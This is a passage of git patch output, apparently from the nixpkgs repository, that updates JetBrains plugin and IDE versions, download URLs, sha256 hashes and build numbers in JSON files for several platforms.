     "https://plugins.jetbrains.com/files/164/676777/IdeaVIM-2.19.0.zip": "sha256-yKpWQZGxfsKwPVTJLHpF4KGJ5ANCd73uxHlfdFE4Qf4=",
     "https://plugins.jetbrains.com/files/164/736911/IdeaVIM-2.24.0.zip": "sha256-v9GD6SHR1MuhXrqLit/eQm2R9c50aZTjpUJN/UOKCa0=",
     "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip": "sha256-9DLY2HIyQR2w8xPVVKa2l7OZWqfoTvHkLGZYEnDV7/A=",
-    "https://plugins.jetbrains.com/files/17718/736879/github-copilot-intellij-1.5.44-243.zip": "sha256-YReboCD5Fy6nM1c0s/azNzip2LTSCDCaur9UmMD0kKQ=",
+    "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip": "sha256-wSIGsDmgZV8o6F9ekf84b06Ul16rw+wXdQx/X4D/rCI=",
     "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip": "sha256-KrzZTKZMQqoEMw+vDUv2jjs0EX0leaPBkU8H/ecq/oI=",
-    "https://plugins.jetbrains.com/files/18682/680233/Catppuccin_Theme-3.4.1.zip": "sha256-QOF3nAXOfYhNl3YUK1fc9z5H2uXTPm2X+6fVZ5QP8ZQ=",
+    "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip": "sha256-fa9GiD/PNGy8AEao99vW3DBF1FKSulu3t+wO7mdr5fk=",
     "https://plugins.jetbrains.com/files/18824/694222/CodeGlancePro-1.9.7-signed.zip": "sha256-8RjKjmadd1o/M+WTLtKPn354bbKgEht4nvWnMcRPN9w=",
     "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip": "sha256-/1lyQq7JANhcKmIaaBHZ8ZCR4p23sLjLTTq9/68Fz+c=",
-    "https://plugins.jetbrains.com/files/18922/734995/GerryThemes.jar": "sha256-bNZQnoCUpAyPzSRNeT1w8WOhILncjxh3ul6nOpglkK4=",
+    "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar": "sha256-BAFShNv5PYuOSTysEk1A7ykqtJBAXhkMsGWGwU3X+hY=",
     "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip": "sha256-hoFfIid7lClHDiT+ZH3H+tFSvWYb1tSRZH1iif+kWrM=",
     "https://plugins.jetbrains.com/files/20146/633971/Mermaid-0.0.24_IJ.243.zip": "sha256-jGWRU0g120qYvvFiUFI10zvprTsemuIq3XmIjYxZGts=",
     "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip": "sha256-QqEjnN6lUUtHkDRFWPeV3vqgGB/ZfWGVDqtk8gwJEqY=",
     "https://plugins.jetbrains.com/files/21551/323564/ferris-2021.1.zip": "sha256-N66Bh0AwHmg5N9PNguRAGtpJ/dLMWMp3rxjTgz9poFo=",
     "https://plugins.jetbrains.com/files/2162/640476/StringManipulation-9.15.0.zip": "sha256-TZPup3EJ0cBv4i2eVAQwVmmzy0rmt4KptEsk3C7baEM=",
     "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip": "sha256-2qDeC2Fxp4/IfiLPL1JDquJDCzONCp4m92Ht2fnCn/M=",
-    "https://plugins.jetbrains.com/files/21904/726853/intellij-developer-tools-plugin-7.0.0-signed.zip": "sha256-8ZxPJoqlCGLaVBJjBp0OLJWeU+WL+B+QKECYB+VueSQ=",
+    "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip": "sha256-lOPUSxlbgagD0SuXTw+fEdwTxxfUHP1Kl6L+u/oa4fs=",
     "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip": "sha256-kfXB36mIOn82pq+22ryztxY9K6CgwwNarNKcLuIH9G4=",
     "https://plugins.jetbrains.com/files/22407/736889/intellij-rust-251.25410.127.zip": "sha256-ynht10qwZ9cXWDhNJPuFOdhEAuwdr62ZAI5pRsrn7Rs=",
     "https://plugins.jetbrains.com/files/22707/738247/continue-intellij-extension-1.0.16.zip": "sha256-H83yxmkzqwkV5W89xuGogm4n5OSppjZAymtIZdnVXWI=",
     "https://plugins.jetbrains.com/files/22857/716106/vcs-gitlab-IU-251.23774.435-IU.zip": "sha256-zNNFPPPnYLkSzXX3CA1IMA0cjeXMcPY58+v80/KjVkg=",
-    "https://plugins.jetbrains.com/files/22857/736969/vcs-gitlab-IU-251.25410.123-IU.zip": "sha256-MolxGVW15UD2anFjEw2G3VJzwZn7BjfpZKI3TL6uogQ=",
+    "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip": "sha256-PwxExt+Dlq11Y5UdEwFr/2BJPST3EYY7r/3gsXoxGzo=",
     "https://plugins.jetbrains.com/files/23029/702798/Catppuccin_Icons-1.11.0.zip": "sha256-w2vt4kuGd5T8OA5DcTTik2ksvCu0T3oynvTqYtMsVyo=",
     "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip": "sha256-ssaSY1I6FopLBgVKHUyjBrqzxHLSuI/swtDfQWJ7gxU=",
     "https://plugins.jetbrains.com/files/23806/664310/Oxocarbon-1.4.5.zip": "sha256-zF89Q1LE6xwBeDKv4FSQ6H6cbABjz74Z/qGwddRWp7M=",
     "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip": "sha256-bwZSaUkfJ2D6XLr0e7EoismsTmvNCyRzGd4OWu6u9n0=",
     "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip": "sha256-SC8IMca0EYEmZFrMsaK3oadaemM4FQnYiTxOTt1zQGg=",
-    "https://plugins.jetbrains.com/files/26084/680234/markdtask-2025.1.1.zip": "sha256-NFHB5zWH8pUwz6OT8F7eIiapeEvHX24fj0Eo1qH45Aw=",
+    "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip": "sha256-rRSyr7nShG1q9tVSO7VRo3KoGnBcrND4D4+38gNBtqI=",
     "https://plugins.jetbrains.com/files/631/737817/python-251.25410.129.zip": "sha256-ieQ+ZWowWGwoTj1vxxCnO4hhNeGVE36V12V5Q5MOUr8=",
     "https://plugins.jetbrains.com/files/6884/630038/handlebars-243.21565.122.zip": "sha256-pFKAZ8xFNfUh7/Hi4NYPDQAhRRYm4WKTpCQELqBfb40=",
     "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip": "sha256-34s7pOsqMaGoVYhCuAZtylNwplQOtNQJUppepsl4F4Q=",
@@ -1951,6 +2055,9 @@
     "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip": "sha256-KY5VRiLJJwa9OVVog1W3MboZjwVboYwYm+i4eqooo44=",
     "https://plugins.jetbrains.com/files/7177/636663/fileWatcher-243.22562.13.zip": "sha256-8IHS3kmmbL8uQYnaMW7NgBIpBKT+XDJ4QDiiPZa5pzo=",
     "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip": "sha256-jNHP/vaCaolmvNUQRGmIgSR1ykjDtKqyJ69UIn5cz70=",
+    "https://plugins.jetbrains.com/files/7179/617030/MavenHelper-4.29.0-IJ2022.2.zip": "sha256-BA6gbStpYb76VS+61WCxakZyGM9Zuxokc3zfx2OBGn4=",
+    "https://plugins.jetbrains.com/files/7212/636678/cucumber-java-243.22562.13.zip": "sha256-q8LjYzKuTK5da+A/29Z2+bHhWKmvsIUVG1MprbsIoLM=",
+    "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip": "sha256-I7gwjCnW8OXzM5eioM7h6RW9qYaQX0MWJPfHOOL9KJA=",
     "https://plugins.jetbrains.com/files/7219/739169/Symfony_Plugin-2025.1.279.zip": "sha256-OiUfPbbSuEFTHTmAdRNev7/StLnz5d1ziebSpuEHCPA=",
     "https://plugins.jetbrains.com/files/7320/718466/PHP_Annotations-12.0.0.zip": "sha256-HfTd3zT/7sOrYutEkEzpFAu6AijrFrpHJg1ftP3N87Y=",
     "https://plugins.jetbrains.com/files/7322/737802/python-ce-251.25410.129.zip": "sha256-gN9XqO/x41scgJ9dzTdC4i4hIZJpwSeR7OjU2BG8gzU=",
@@ -1969,6 +2076,8 @@
     "https://plugins.jetbrains.com/files/8554/716074/featuresTrainer-251.23774.436.zip": "sha256-P6ux6UgbjeJW3lF4w696bZ73zumY8hEm1iM98IsKgTQ=",
     "https://plugins.jetbrains.com/files/8554/740850/featuresTrainer-251.25410.148.zip": "sha256-iK3cy0Nf87rLV0m/t3LJv65Klij/9L5l9ad2UW9O00w=",
     "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip": "sha256-OFisV6Vs/xlbDvchxfrREDVgVh7wcfGnot+zUrgQU6M=",
+    "https://plugins.jetbrains.com/files/9164/636661/gherkin-243.22562.13.zip": "sha256-aG15ecfrsvNkpLjHclJEVKEW95GvBH+dEaqa+VCRkUo=",
+    "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip": "sha256-Boy61dRieXmWrnTMfqqYZbdG/DNQ24KdguKN2fcZ+eg=",
     "https://plugins.jetbrains.com/files/9525/603167/idea-php-dotenv-plugin-2024.3.zip": "sha256-hR7hC2phDJnHXxPy80WlEDFAhZHtMCu7nqYvAb0VeTI=",
     "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip": "sha256-0c/2qbuu+M6z0gvpme+Mkv23JlQKNTUU+9GL9mh2IFw=",
     "https://plugins.jetbrains.com/files/9568/728728/go-plugin-251.25410.59.zip": "sha256-hBZozpcXPSsvSH5/8hJ2OhA3ukCsLXvXGlqYMv2GtFA=",

From 8a0bd01c160990bed0be5f78ba78d5c28c876c8f Mon Sep 17 00:00:00 2001
From: James Ward <james@jamesward.com>
Date: Wed, 11 Jun 2025 09:28:35 -0600
Subject: [PATCH 2106/4511] jetbrains: 2025.1 -> 2025.1.3

jetbrains.clion: 2025.1.1 -> 2025.1.2
jetbrains.datagrip: 2025.1.2 -> 2025.1.3
jetbrains.dataspell: 2025.1 -> 2025.1.1
jetbrains.gateway: 2025.1.1 -> 2025.1.2
jetbrains.goland: 2025.1.1 -> 2025.1.2
jetbrains.idea-community: 2025.1.1.1 -> 2025.1.2
jetbrains.idea-ultimate: 2025.1.1.1 -> 2025.1.2
jetbrains.phpstorm: 2025.1.1 -> 2025.1.2
jetbrains.pycharm-community: 2025.1.1 -> 2025.1.2
jetbrains.pycharm-professional: 2025.1.1 -> 2025.1.2
jetbrains.ruby-mine: 2025.1.1 -> 2025.1.2
jetbrains.rust-rover: 2025.1.2 -> 2025.1.3
jetbrains.webstorm: 2025.1.1 -> 2025.1.2

(cherry picked from commit bbfa08dc36dd46b807950b5a1b47f23a88209ff3)
---
 .../editors/jetbrains/bin/versions.json       | 416 +++++++++---------
 1 file changed, 208 insertions(+), 208 deletions(-)

diff --git a/pkgs/applications/editors/jetbrains/bin/versions.json b/pkgs/applications/editors/jetbrains/bin/versions.json
index 2220a70fe0f6..ef2b8e40fb32 100644
--- a/pkgs/applications/editors/jetbrains/bin/versions.json
+++ b/pkgs/applications/editors/jetbrains/bin/versions.json
@@ -11,58 +11,58 @@
     "clion": {
       "update-channel": "CLion RELEASE",
       "url-template": "https://download.jetbrains.com/cpp/CLion-{version}.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "2f747d7240d70b65ed98d736dbcd6ac2b98ac93aff993a63c5f8bd0f65918ac5",
-      "url": "https://download.jetbrains.com/cpp/CLion-2025.1.1.tar.gz",
-      "build_number": "251.25410.104"
+      "version": "2025.1.2",
+      "sha256": "3bdd0cd731bcdcd15de7ebee3ec36a13b82b72f68a77f6e6e780e36d88acd51e",
+      "url": "https://download.jetbrains.com/cpp/CLion-2025.1.2.tar.gz",
+      "build_number": "251.26094.123"
     },
     "datagrip": {
       "update-channel": "DataGrip RELEASE",
       "url-template": "https://download.jetbrains.com/datagrip/datagrip-{version}.tar.gz",
-      "version": "2025.1.2",
-      "sha256": "47d1c891a34f12f371aeab2364b9280766e1e99b27933f8d11c3c3832ed865ca",
-      "url": "https://download.jetbrains.com/datagrip/datagrip-2025.1.2.tar.gz",
-      "build_number": "251.25410.123"
+      "version": "2025.1.3",
+      "sha256": "b672b2b50e2ae539af24e32ac7678ff32a8b207e6692e12c8b891eaf78200d24",
+      "url": "https://download.jetbrains.com/datagrip/datagrip-2025.1.3.tar.gz",
+      "build_number": "251.26094.87"
     },
     "dataspell": {
       "update-channel": "DataSpell RELEASE",
       "url-template": "https://download.jetbrains.com/python/dataspell-{version}.tar.gz",
-      "version": "2025.1",
-      "sha256": "d0078ceae9f7ae8cc6b57223874e3a818383aedf10fa8b73b2d34a522c52e53d",
-      "url": "https://download.jetbrains.com/python/dataspell-2025.1.tar.gz",
-      "build_number": "251.23774.439"
+      "version": "2025.1.1",
+      "sha256": "e0711b629ad45d6d051fd9796bf81689d46212fdd8f21306128a8522097ca3e9",
+      "url": "https://download.jetbrains.com/python/dataspell-2025.1.1.tar.gz",
+      "build_number": "251.25410.158"
     },
     "gateway": {
       "update-channel": "Gateway RELEASE",
       "url-template": "https://download.jetbrains.com/idea/gateway/JetBrainsGateway-{version}.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "edccd3d877407dfc628d9ba2a8ee767c11a861532dd4e0b1cb2a4d8787476ea8",
-      "url": "https://download.jetbrains.com/idea/gateway/JetBrainsGateway-2025.1.1.tar.gz",
-      "build_number": "251.25410.139"
+      "version": "2025.1.2",
+      "sha256": "666ea22f7bdfdbf327dd77b7292e2abf5a3ac356ae043fe8b35102d78437d7f2",
+      "url": "https://download.jetbrains.com/idea/gateway/JetBrainsGateway-2025.1.2.tar.gz",
+      "build_number": "251.26094.128"
     },
     "goland": {
       "update-channel": "GoLand RELEASE",
       "url-template": "https://download.jetbrains.com/go/goland-{version}.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "fb94d5df43942db47a5506b50e511457cf845b986e70168171b9f5324b7d0d77",
-      "url": "https://download.jetbrains.com/go/goland-2025.1.1.tar.gz",
-      "build_number": "251.25410.140"
+      "version": "2025.1.2",
+      "sha256": "18d4465e8c50911d8f4ecd7ba75ee1aa14cf3d05eb4df39790729cf67bf2a638",
+      "url": "https://download.jetbrains.com/go/goland-2025.1.2.tar.gz",
+      "build_number": "251.26094.127"
     },
     "idea-community": {
       "update-channel": "IntelliJ IDEA RELEASE",
       "url-template": "https://download.jetbrains.com/idea/ideaIC-{version}.tar.gz",
-      "version": "2025.1.1.1",
-      "sha256": "36b72ac85e8e1536dfccb300b5a435461b1e2953585a90a5d8f06e1b263b0b5c",
-      "url": "https://download.jetbrains.com/idea/ideaIC-2025.1.1.1.tar.gz",
-      "build_number": "251.25410.129"
+      "version": "2025.1.2",
+      "sha256": "70dc870bd31fda67de30d3a132cfed543d5e67c15c7db52f6f4c4691a044930a",
+      "url": "https://download.jetbrains.com/idea/ideaIC-2025.1.2.tar.gz",
+      "build_number": "251.26094.121"
     },
     "idea-ultimate": {
       "update-channel": "IntelliJ IDEA RELEASE",
       "url-template": "https://download.jetbrains.com/idea/ideaIU-{version}.tar.gz",
-      "version": "2025.1.1.1",
-      "sha256": "337d34b20cdaa8da30d71b98e1b36817bdfe2f2245c491ef38f0cee02f0d0316",
-      "url": "https://download.jetbrains.com/idea/ideaIU-2025.1.1.1.tar.gz",
-      "build_number": "251.25410.129"
+      "version": "2025.1.2",
+      "sha256": "1e675bda1314ae914b64b31a22309ba2eba6f35e6659e53d4b291e73c2fb856b",
+      "url": "https://download.jetbrains.com/idea/ideaIU-2025.1.2.tar.gz",
+      "build_number": "251.26094.121"
     },
     "mps": {
       "update-channel": "MPS RELEASE",
@@ -75,27 +75,27 @@
     "phpstorm": {
       "update-channel": "PhpStorm RELEASE",
       "url-template": "https://download.jetbrains.com/webide/PhpStorm-{version}.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "b64722ea715db8566754978af617716016deaa2cda3521cf05e4a049e5bbf6a3",
-      "url": "https://download.jetbrains.com/webide/PhpStorm-2025.1.1.tar.gz",
-      "build_number": "251.25410.148",
+      "version": "2025.1.2",
+      "sha256": "229f3afde8e3466e1d262de915420f66a5fc97858788cc08f7d0f0b826c2a77b",
+      "url": "https://download.jetbrains.com/webide/PhpStorm-2025.1.2.tar.gz",
+      "build_number": "251.26094.133",
       "version-major-minor": "2022.3"
     },
     "pycharm-community": {
       "update-channel": "PyCharm RELEASE",
       "url-template": "https://download.jetbrains.com/python/pycharm-community-{version}.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "d2df49f8ec2df88039f535e0d8706d35f608db3e58b9411f5e8e726536788237",
-      "url": "https://download.jetbrains.com/python/pycharm-community-2025.1.1.tar.gz",
-      "build_number": "251.25410.122"
+      "version": "2025.1.2",
+      "sha256": "193fbbb638235c4c671bb6c6b432f43a2d46f7f7ebd6b5f2cc8a1db7db93c5d6",
+      "url": "https://download.jetbrains.com/python/pycharm-community-2025.1.2.tar.gz",
+      "build_number": "251.26094.141"
     },
     "pycharm-professional": {
       "update-channel": "PyCharm RELEASE",
       "url-template": "https://download.jetbrains.com/python/pycharm-professional-{version}.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "b1e8660b1c947f3bb746d0736e1e9c247635fadedb52f230ef5c64862893ad0b",
-      "url": "https://download.jetbrains.com/python/pycharm-professional-2025.1.1.tar.gz",
-      "build_number": "251.25410.122"
+      "version": "2025.1.2",
+      "sha256": "4a407779c5df9728e29698eeabdb4533911e755ead224d0c1deff959876c3108",
+      "url": "https://download.jetbrains.com/python/pycharm-professional-2025.1.2.tar.gz",
+      "build_number": "251.26094.141"
     },
     "rider": {
       "update-channel": "Rider RELEASE",
@@ -108,26 +108,26 @@
     "ruby-mine": {
       "update-channel": "RubyMine RELEASE",
       "url-template": "https://download.jetbrains.com/ruby/RubyMine-{version}.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "f5014b52770be4d1c743c5a60f0e20d0dd1a1c172018180d05c0a22f1ffd1027",
-      "url": "https://download.jetbrains.com/ruby/RubyMine-2025.1.1.tar.gz",
-      "build_number": "251.25410.120"
+      "version": "2025.1.2",
+      "sha256": "2d4127e0284a262acb015c9d4247b654592e045b61664043a4de56029b45174f",
+      "url": "https://download.jetbrains.com/ruby/RubyMine-2025.1.2.tar.gz",
+      "build_number": "251.26094.122"
     },
     "rust-rover": {
       "update-channel": "RustRover RELEASE",
       "url-template": "https://download.jetbrains.com/rustrover/RustRover-{version}.tar.gz",
-      "version": "2025.1.2",
-      "sha256": "b2974feb5406153817797b7dc93baaafe35c7b3687d38091d5d1b5d010a03132",
-      "url": "https://download.jetbrains.com/rustrover/RustRover-2025.1.2.tar.gz",
-      "build_number": "251.25410.115"
+      "version": "2025.1.3",
+      "sha256": "b3c4999f1d7ef7deffa56bfe75f011a012842bec5c199b0090d2ac45af78ea5e",
+      "url": "https://download.jetbrains.com/rustrover/RustRover-2025.1.3.tar.gz",
+      "build_number": "251.25410.170"
     },
     "webstorm": {
       "update-channel": "WebStorm RELEASE",
       "url-template": "https://download.jetbrains.com/webstorm/WebStorm-{version}.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "411b6d93e47d7743aa9189f4a3cab3956c573ce406908da5621f8dee0098ad99",
-      "url": "https://download.jetbrains.com/webstorm/WebStorm-2025.1.1.tar.gz",
-      "build_number": "251.25410.117"
+      "version": "2025.1.2",
+      "sha256": "055510371e3c6a8d9fbfcd352645d847d2c092309c4746222babe4af240c2eac",
+      "url": "https://download.jetbrains.com/webstorm/WebStorm-2025.1.2.tar.gz",
+      "build_number": "251.26094.131"
     },
     "writerside": {
       "update-channel": "Writerside EAP",
@@ -150,58 +150,58 @@
     "clion": {
       "update-channel": "CLion RELEASE",
       "url-template": "https://download.jetbrains.com/cpp/CLion-{version}-aarch64.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "dcd7373dc9dd941703d18ae602dd384ce6d154a90745c37c3358bf1f6b41ed2e",
-      "url": "https://download.jetbrains.com/cpp/CLion-2025.1.1-aarch64.tar.gz",
-      "build_number": "251.25410.104"
+      "version": "2025.1.2",
+      "sha256": "911568cef55f23b134a4c316b5436214c2b51638c14a3b243785e19e354c2d4c",
+      "url": "https://download.jetbrains.com/cpp/CLion-2025.1.2-aarch64.tar.gz",
+      "build_number": "251.26094.123"
     },
     "datagrip": {
       "update-channel": "DataGrip RELEASE",
       "url-template": "https://download.jetbrains.com/datagrip/datagrip-{version}-aarch64.tar.gz",
-      "version": "2025.1.2",
-      "sha256": "fb34b6469c96a54018b3c728f96787d03da0ec92c88a80f52e8f89a0eecc8d01",
-      "url": "https://download.jetbrains.com/datagrip/datagrip-2025.1.2-aarch64.tar.gz",
-      "build_number": "251.25410.123"
+      "version": "2025.1.3",
+      "sha256": "ca0b5a6685e8494311e3276ad22c097ea3a2f8925baff39951a45c467f3c547c",
+      "url": "https://download.jetbrains.com/datagrip/datagrip-2025.1.3-aarch64.tar.gz",
+      "build_number": "251.26094.87"
     },
     "dataspell": {
       "update-channel": "DataSpell RELEASE",
       "url-template": "https://download.jetbrains.com/python/dataspell-{version}-aarch64.tar.gz",
-      "version": "2025.1",
-      "sha256": "e55cfc4e3327aff6bd3447e2980cd1e5cbd9223c8e0330688d65031b1e95d0fd",
-      "url": "https://download.jetbrains.com/python/dataspell-2025.1-aarch64.tar.gz",
-      "build_number": "251.23774.439"
+      "version": "2025.1.1",
+      "sha256": "4f7f05141bee346dd29ed48dafcea24197494aa8bbc02409df9089da1c8e0be8",
+      "url": "https://download.jetbrains.com/python/dataspell-2025.1.1-aarch64.tar.gz",
+      "build_number": "251.25410.158"
     },
     "gateway": {
       "update-channel": "Gateway RELEASE",
       "url-template": "https://download.jetbrains.com/idea/gateway/JetBrainsGateway-{version}-aarch64.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "869882db293640328f5e1ae80c5cf60183ba850f6087ab1b3cf95ec77b3837be",
-      "url": "https://download.jetbrains.com/idea/gateway/JetBrainsGateway-2025.1.1-aarch64.tar.gz",
-      "build_number": "251.25410.139"
+      "version": "2025.1.2",
+      "sha256": "306a3eea012a9c398d95e1579fab38c5979297390ae048c98bd32026bd0fbe7f",
+      "url": "https://download.jetbrains.com/idea/gateway/JetBrainsGateway-2025.1.2-aarch64.tar.gz",
+      "build_number": "251.26094.128"
     },
     "goland": {
       "update-channel": "GoLand RELEASE",
       "url-template": "https://download.jetbrains.com/go/goland-{version}-aarch64.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "949e86c6991e14d90adcaea75c18f679b1ab029ec0c00f00f464a631e999c036",
-      "url": "https://download.jetbrains.com/go/goland-2025.1.1-aarch64.tar.gz",
-      "build_number": "251.25410.140"
+      "version": "2025.1.2",
+      "sha256": "71f8c4addac839823b9875e6f01f8ab98d7cf77ab9acf03c09e057cc5d030757",
+      "url": "https://download.jetbrains.com/go/goland-2025.1.2-aarch64.tar.gz",
+      "build_number": "251.26094.127"
     },
     "idea-community": {
       "update-channel": "IntelliJ IDEA RELEASE",
       "url-template": "https://download.jetbrains.com/idea/ideaIC-{version}-aarch64.tar.gz",
-      "version": "2025.1.1.1",
-      "sha256": "7860b836a18b82827fdb54a86cc5601fe8ef28aab4253981f238ef975a982915",
-      "url": "https://download.jetbrains.com/idea/ideaIC-2025.1.1.1-aarch64.tar.gz",
-      "build_number": "251.25410.129"
+      "version": "2025.1.2",
+      "sha256": "d98c8d7bdc3e274d278b81ba2b6c1baa38f67be9407b4bfd3bad3413c6f128f1",
+      "url": "https://download.jetbrains.com/idea/ideaIC-2025.1.2-aarch64.tar.gz",
+      "build_number": "251.26094.121"
     },
     "idea-ultimate": {
       "update-channel": "IntelliJ IDEA RELEASE",
       "url-template": "https://download.jetbrains.com/idea/ideaIU-{version}-aarch64.tar.gz",
-      "version": "2025.1.1.1",
-      "sha256": "756baa32d72bd982d9b8c06f86cd42755d2677a9f1ea37bd6ad6a963d17226b2",
-      "url": "https://download.jetbrains.com/idea/ideaIU-2025.1.1.1-aarch64.tar.gz",
-      "build_number": "251.25410.129"
+      "version": "2025.1.2",
+      "sha256": "0f982a4f4424bde5a33206c20df053a7afe174fe9d590943665504814a273c9d",
+      "url": "https://download.jetbrains.com/idea/ideaIU-2025.1.2-aarch64.tar.gz",
+      "build_number": "251.26094.121"
     },
     "mps": {
       "update-channel": "MPS RELEASE",
@@ -214,27 +214,27 @@
     "phpstorm": {
       "update-channel": "PhpStorm RELEASE",
       "url-template": "https://download.jetbrains.com/webide/PhpStorm-{version}-aarch64.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "6e479318f5627ec1d6ccd47610a93aa9e9a56c9badd2be4d8f935008d0e71b9e",
-      "url": "https://download.jetbrains.com/webide/PhpStorm-2025.1.1-aarch64.tar.gz",
-      "build_number": "251.25410.148",
+      "version": "2025.1.2",
+      "sha256": "2c3b703fc1d97e87fa02664bd1165ecf8439898b0a4561f522edd0252606ab5a",
+      "url": "https://download.jetbrains.com/webide/PhpStorm-2025.1.2-aarch64.tar.gz",
+      "build_number": "251.26094.133",
       "version-major-minor": "2022.3"
     },
     "pycharm-community": {
       "update-channel": "PyCharm RELEASE",
       "url-template": "https://download.jetbrains.com/python/pycharm-community-{version}-aarch64.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "d717e039a91587e5396c69d056ebd91f640ae03ddf398e575c8f8eb3817d8afb",
-      "url": "https://download.jetbrains.com/python/pycharm-community-2025.1.1-aarch64.tar.gz",
-      "build_number": "251.25410.122"
+      "version": "2025.1.2",
+      "sha256": "10e7426804d649d3c5bdbfc365cf85fe73dd7e74e67fd1e4c82645e8532d17e7",
+      "url": "https://download.jetbrains.com/python/pycharm-community-2025.1.2-aarch64.tar.gz",
+      "build_number": "251.26094.141"
     },
     "pycharm-professional": {
       "update-channel": "PyCharm RELEASE",
       "url-template": "https://download.jetbrains.com/python/pycharm-professional-{version}-aarch64.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "3f8f8a3773652ec99ea7a05b55dff41b5683548838f009e5e3d132ea644384d9",
-      "url": "https://download.jetbrains.com/python/pycharm-professional-2025.1.1-aarch64.tar.gz",
-      "build_number": "251.25410.122"
+      "version": "2025.1.2",
+      "sha256": "831f5563a354e617158cd88c2a63c0bda80b21c3a64fc98a3b6dc7ae22151805",
+      "url": "https://download.jetbrains.com/python/pycharm-professional-2025.1.2-aarch64.tar.gz",
+      "build_number": "251.26094.141"
     },
     "rider": {
       "update-channel": "Rider RELEASE",
@@ -247,26 +247,26 @@
     "ruby-mine": {
       "update-channel": "RubyMine RELEASE",
       "url-template": "https://download.jetbrains.com/ruby/RubyMine-{version}-aarch64.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "00b7526795af4e7eba1c65fc5e10a963e717770e68c5bfd28b10163f9fa37f8c",
-      "url": "https://download.jetbrains.com/ruby/RubyMine-2025.1.1-aarch64.tar.gz",
-      "build_number": "251.25410.120"
+      "version": "2025.1.2",
+      "sha256": "13ed96cc82771ec49ce8e9f72179ac12829f4bc2ffae6a9ab553708aec47d4a9",
+      "url": "https://download.jetbrains.com/ruby/RubyMine-2025.1.2-aarch64.tar.gz",
+      "build_number": "251.26094.122"
     },
     "rust-rover": {
       "update-channel": "RustRover RELEASE",
       "url-template": "https://download.jetbrains.com/rustrover/RustRover-{version}-aarch64.tar.gz",
-      "version": "2025.1.2",
-      "sha256": "4660f8f2fd37b166bae904385b863157ab596fac35869de17a39df999efde8ce",
-      "url": "https://download.jetbrains.com/rustrover/RustRover-2025.1.2-aarch64.tar.gz",
-      "build_number": "251.25410.115"
+      "version": "2025.1.3",
+      "sha256": "4fcd2d8560dd7fe60c3262474dd1fcea1d54b476869a62ede0de86b8d115fce9",
+      "url": "https://download.jetbrains.com/rustrover/RustRover-2025.1.3-aarch64.tar.gz",
+      "build_number": "251.25410.170"
     },
     "webstorm": {
       "update-channel": "WebStorm RELEASE",
       "url-template": "https://download.jetbrains.com/webstorm/WebStorm-{version}-aarch64.tar.gz",
-      "version": "2025.1.1",
-      "sha256": "0156affae3222afb51cfe8a82e1eabf26f62bd91a74a2822fa821afd1eab9bad",
-      "url": "https://download.jetbrains.com/webstorm/WebStorm-2025.1.1-aarch64.tar.gz",
-      "build_number": "251.25410.117"
+      "version": "2025.1.2",
+      "sha256": "c182bcd17ff4d0188c0e024952677dd21415456a421c5c1aaa356870f2efa009",
+      "url": "https://download.jetbrains.com/webstorm/WebStorm-2025.1.2-aarch64.tar.gz",
+      "build_number": "251.26094.131"
     },
     "writerside": {
       "update-channel": "Writerside EAP",
@@ -289,58 +289,58 @@
     "clion": {
       "update-channel": "CLion RELEASE",
       "url-template": "https://download.jetbrains.com/cpp/CLion-{version}.dmg",
-      "version": "2025.1.1",
-      "sha256": "e7558d0196390c18e2c11143aa59f2ad56c020d43ebd05057f997fa117abb484",
-      "url": "https://download.jetbrains.com/cpp/CLion-2025.1.1.dmg",
-      "build_number": "251.25410.104"
+      "version": "2025.1.2",
+      "sha256": "f7dde8532ba52d4cfaab37828ba52fa2e159d82baf1fa555c1a0e65bb1186a86",
+      "url": "https://download.jetbrains.com/cpp/CLion-2025.1.2.dmg",
+      "build_number": "251.26094.123"
     },
     "datagrip": {
       "update-channel": "DataGrip RELEASE",
       "url-template": "https://download.jetbrains.com/datagrip/datagrip-{version}.dmg",
-      "version": "2025.1.2",
-      "sha256": "a6b7dadb262813d867281d700456c7bca82b61bea99e52fd54edec05cd07180e",
-      "url": "https://download.jetbrains.com/datagrip/datagrip-2025.1.2.dmg",
-      "build_number": "251.25410.123"
+      "version": "2025.1.3",
